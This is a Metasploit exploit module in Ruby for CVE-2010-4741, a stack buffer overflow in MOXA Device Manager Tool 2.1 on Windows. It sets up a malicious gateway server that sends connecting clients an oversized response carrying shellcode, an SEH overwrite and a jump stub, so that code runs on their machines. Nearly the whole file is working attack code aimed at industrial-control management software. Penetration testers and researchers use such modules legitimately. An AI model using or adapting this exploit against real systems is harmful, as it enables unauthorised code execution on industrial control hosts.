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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::TcpServer
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MOXA Device Manager Tool 2.1 Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.
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        When sending a specially crafted MDMGw (MDM2_Gateway) response, an
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        attacker may be able to execute arbitrary code.
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      },
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      'Author'         => [ 'Ruben Santamarta', 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2010-4741'],
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          [ 'OSVDB', '69027'],
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          [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
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          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-10-301-01A' ]
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
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        },
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      'Payload'        =>
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        {
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          'Space'    => 600,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'StackAdjustment' => -3500
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2010-10-20',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])
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      ])
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  end
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  def on_client_connect(client)
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    return if ((p = regenerate_payload(client)) == nil)
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    client.get_once
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    sploit = rand_text_alpha_upper(18024)
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    sploit[0, 4] = [0x29001028].pack('V')
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    sploit[472, payload.encoded.length] = payload.encoded
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    sploit[1072, 8] = generate_seh_record(target.ret)
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    sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string
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    client.put(sploit)
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    handler(client)
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    service.close_client(client)
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  end
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end
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